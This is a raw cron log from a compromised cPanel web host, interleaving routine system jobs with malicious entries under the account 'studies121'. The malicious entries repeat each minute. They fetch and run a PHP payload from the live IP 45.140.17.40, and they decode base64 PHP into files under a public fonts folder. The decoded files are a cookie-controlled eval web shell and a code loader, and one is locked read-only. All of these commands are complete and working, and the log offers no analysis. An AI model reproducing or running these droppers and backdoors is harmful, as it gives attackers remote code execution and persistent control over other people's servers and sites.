Sep  2 15:40:01 ip-184-168-122-23 CROND[7346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:40:01 ip-184-168-122-23 CROND[7347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:40:01 ip-184-168-122-23 CROND[7349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:40:01 ip-184-168-122-23 CROND[7351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:40:01 ip-184-168-122-23 CROND[7353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:40:01 ip-184-168-122-23 CROND[7352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:41:02 ip-184-168-122-23 CROND[7464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:41:02 ip-184-168-122-23 CROND[7467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:41:02 ip-184-168-122-23 CROND[7468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:41:02 ip-184-168-122-23 CROND[7466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:42:01 ip-184-168-122-23 CROND[7583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:42:01 ip-184-168-122-23 CROND[7586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:42:01 ip-184-168-122-23 CROND[7588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:42:01 ip-184-168-122-23 CROND[7585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:42:01 ip-184-168-122-23 CROND[7587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:43:01 ip-184-168-122-23 CROND[7685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:43:01 ip-184-168-122-23 CROND[7688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:43:01 ip-184-168-122-23 CROND[7686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:43:01 ip-184-168-122-23 CROND[7687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:44:01 ip-184-168-122-23 CROND[7808]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:44:01 ip-184-168-122-23 CROND[7807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:44:01 ip-184-168-122-23 CROND[7806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:44:01 ip-184-168-122-23 CROND[7812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:44:01 ip-184-168-122-23 CROND[7816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:45:01 ip-184-168-122-23 CROND[7981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:45:01 ip-184-168-122-23 CROND[7983]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:45:01 ip-184-168-122-23 CROND[7984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:45:01 ip-184-168-122-23 CROND[7985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:45:01 ip-184-168-122-23 CROND[7986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:45:01 ip-184-168-122-23 CROND[7987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:46:01 ip-184-168-122-23 CROND[8085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:46:01 ip-184-168-122-23 CROND[8088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:46:01 ip-184-168-122-23 CROND[8093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:46:01 ip-184-168-122-23 CROND[8095]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 15:46:01 ip-184-168-122-23 CROND[8094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:46:01 ip-184-168-122-23 CROND[8092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:46:01 ip-184-168-122-23 CROND[8090]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 15:47:01 ip-184-168-122-23 CROND[8210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:47:02 ip-184-168-122-23 CROND[8213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:47:02 ip-184-168-122-23 CROND[8212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:47:02 ip-184-168-122-23 CROND[8214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:48:01 ip-184-168-122-23 CROND[8308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:48:01 ip-184-168-122-23 CROND[8310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:48:01 ip-184-168-122-23 CROND[8313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:48:01 ip-184-168-122-23 CROND[8312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:48:01 ip-184-168-122-23 CROND[8314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:49:01 ip-184-168-122-23 CROND[8401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:49:01 ip-184-168-122-23 CROND[8403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:49:01 ip-184-168-122-23 CROND[8407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:49:01 ip-184-168-122-23 CROND[8408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:50:01 ip-184-168-122-23 CROND[8596]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:50:02 ip-184-168-122-23 CROND[8598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:50:02 ip-184-168-122-23 CROND[8600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:50:02 ip-184-168-122-23 CROND[8599]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 15:50:02 ip-184-168-122-23 CROND[8601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:50:02 ip-184-168-122-23 CROND[8603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:50:02 ip-184-168-122-23 CROND[8604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:50:02 ip-184-168-122-23 CROND[8605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:50:02 ip-184-168-122-23 CROND[8602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:51:01 ip-184-168-122-23 CROND[8724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:51:01 ip-184-168-122-23 CROND[8726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:51:01 ip-184-168-122-23 CROND[8728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:51:01 ip-184-168-122-23 CROND[8727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:52:01 ip-184-168-122-23 CROND[8821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:52:01 ip-184-168-122-23 CROND[8823]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:52:01 ip-184-168-122-23 CROND[8824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
